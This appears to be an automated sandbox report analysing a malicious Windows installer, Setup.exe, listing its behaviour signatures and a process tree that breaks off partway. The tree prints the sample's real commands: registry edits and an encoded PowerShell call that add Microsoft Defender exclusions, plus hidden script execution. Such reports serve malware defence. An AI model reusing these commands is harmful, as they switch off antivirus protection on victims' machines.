Overview

overview

10

Static

static

3

Setup.exe

windows10-2004-x64

10

Setup.exe

windows11-ltsc_2024-x64

10

$PLUGINSDI...ls.dll

windows10-2004-x64

3

$PLUGINSDI...ls.dll

windows11-ltsc_2024-x64

8

$PLUGINSDI...em.dll

windows10-2004-x64

3

$PLUGINSDI...em.dll

windows11-ltsc_2024-x64

8

LICENSES.c...m.html

windows10-2004-x64

3

LICENSES.c...m.html

windows11-ltsc_2024-x64

3

LoaderDaemon.exe

windows10-2004-x64

10

LoaderDaemon.exe

windows11-ltsc_2024-x64

10

d3dcompiler_47.dll

windows10-2004-x64

1

ffmpeg.dll

windows10-2004-x64

1

ffmpeg.dll

windows11-ltsc_2024-x64

8

libEGL.dll

windows10-2004-x64

1

libEGL.dll

windows11-ltsc_2024-x64

1

libGLESv2.dll

windows10-2004-x64

1

libGLESv2.dll

windows11-ltsc_2024-x64

8

resources/app/main.js

windows10-2004-x64

3

resources/app/main.js

windows11-ltsc_2024-x64

8

resources/elevate.exe

windows10-2004-x64

3

resources/elevate.exe

windows11-ltsc_2024-x64

8

vk_swiftshader.dll

windows10-2004-x64

1

vk_swiftshader.dll

windows11-ltsc_2024-x64

1

vulkan-1.dll

windows10-2004-x64

1

vulkan-1.dll

windows11-ltsc_2024-x64

1

$PLUGINSDI...7z.dll

windows10-2004-x64

3

$PLUGINSDI...7z.dll

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    902s
  • max time network
    556s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/08/2026, 15:46

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Setup.exe
  • Size 83.8MB
  • Sample260816-s73bfa1zev
  • SHA256 de42a8e90c9fa2d84870510cd56d7980f57a46d425008550588a4266c9d30702
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryexecutionpersistenceransomwarespywarethemidatrojan

Malware Config

Signatures

  • Windows security bypass 2 TTPs 7 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

    execution
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 11 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

    defense_evasion
  • System Binary Proxy Execution: Rundll32 1 TTPs 2 IoCs

    Abuse Rundll32 to proxy execution of malicious code.

    defense_evasion
  • Themida packer 46 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Checks whether UAC is enabled 1 TTPs 6 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 3 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 30 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 46 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5132
    • C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe
      C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2540
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "ps -p 5132 -o comm=,ppid="
        3⤵
        • Executes a command shell one-liner
        PID:3716
      • C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe
        "C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\loaderdaemon" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1724 --field-trial-handle=1728,i,5187749605128995796,11316764135479963851,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:480
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1940
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:6096
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:3116
        • C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe
          "C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\loaderdaemon" --mojo-platform-channel-handle=1988 --field-trial-handle=1728,i,5187749605128995796,11316764135479963851,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5628
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3404
          • C:\Windows\system32\reg.exe
            reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
            4⤵
              PID:824
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "net session"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4120
            • C:\Windows\system32\net.exe
              net session
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1492
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 session
                5⤵
                  PID:3336
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\setupapi_ffbfde.vbs""
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1888
              • C:\Windows\system32\wscript.exe
                wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\setupapi_ffbfde.vbs"
                4⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:6120
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe" /t REG_DWORD /d 0 /f"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:6024
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe" /t REG_DWORD /d 0 /f
                4⤵
                • Windows security bypass
                PID:1964
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe" /t REG_DWORD /d 0 /f"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5456
              • C:\Windows\system32\reg.exe
                reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe" /t REG_DWORD /d 0 /f
                4⤵
                  PID:2392
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de" /t REG_DWORD /d 0 /f"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4376
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de" /t REG_DWORD /d 0 /f
                  4⤵
                  • Windows security bypass
                  PID:3912
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de" /t REG_DWORD /d 0 /f"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4388
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de" /t REG_DWORD /d 0 /f
                  4⤵
                    PID:3652
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5484
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg" /t REG_DWORD /d 0 /f
                    4⤵
                    • Windows security bypass
                    PID:556
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4396
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg" /t REG_DWORD /d 0 /f
                    4⤵
                      PID:3464
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:2920
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe" /t REG_DWORD /d 0 /f
                      4⤵
                      • Windows security bypass
                      PID:752
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:2776
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe" /t REG_DWORD /d 0 /f
                      4⤵
                        PID:4236
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:2488
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
                        4⤵
                        • Windows security bypass
                        PID:2928
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:2500
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
                        4⤵
                        • Windows security bypass
                        PID:2596
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "agent_setup_fb.exe" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:4672
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "agent_setup_fb.exe" /t REG_DWORD /d 0 /f
                        4⤵
                        • Windows security bypass
                        PID:5864
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "agent_setup_fb.exe" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:5384
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "agent_setup_fb.exe" /t REG_DWORD /d 0 /f
                        4⤵
                          PID:2636
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABQAGEAYwBrAGEAZwBlAEMAYQBjAGgAZQBfAGYAZQAwADAANgBjAFwATABvAGEAZABlAHIARABhAGUAbQBvAG4ALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAVQBwAGQAYQB0AGUAcwBcAHAAawBnAFwAbQBzAHYAegBlAGoAYgB4ADYAMwBkAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFUAcABkAGEAdABlAHMAXABwAGsAZwAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAVQBwAGQAYQB0AGUAcwBcAHAAawBnAFwAbQBzAHYAegBlAGoAYgB4ADYAMwBkAGUAXABhAGcAZQBuAHQAXwBzAGUAdAB1AHAAXwBmAGIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBhAGcAZQBuAHQAXwBzAGUAdAB1AHAAXwBmAGIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:6092
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABQAGEAYwBrAGEAZwBlAEMAYQBjAGgAZQBfAGYAZQAwADAANgBjAFwATABvAGEAZABlAHIARABhAGUAbQBvAG4ALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAVQBwAGQAYQB0AGUAcwBcAHAAawBnAFwAbQBzAHYAegBlAGoAYgB4ADYAMwBkAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFUAcABkAGEAdABlAHMAXABwAGsAZwAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAVQBwAGQAYQB0AGUAcwBcAHAAawBnAFwAbQBzAHYAegBlAGoAYgB4ADYAMwBkAGUAXABhAGcAZQBuAHQAXwBzAGUAdAB1AHAAXwBmAGIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBhAGcAZQBuAHQAXwBzAGUAdAB1AHAAXwBmAGIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2828
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe'""
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2640
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe'"
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:5256
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe""
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4572
                        • C:\Windows\system32\reg.exe
                          reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\PackageCache_fe006c\LoaderDaemon.exe"
                          4⤵
                            PID:2356
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de'""
                          3⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1956
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de'"
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1132
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de""
                          3⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2024
                          • C:\Windows\system32\reg.exe
                            reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de"
                            4⤵
                              PID:4984
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg'""
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:6088
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg'"
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3968
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg""
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4220
                            • C:\Windows\system32\reg.exe
                              reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Updates\pkg"
                              4⤵
                                PID:4996
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Updates\pkg\msvzejbx63de\agent_setup_fb.exe'""
                              3⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:1368
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
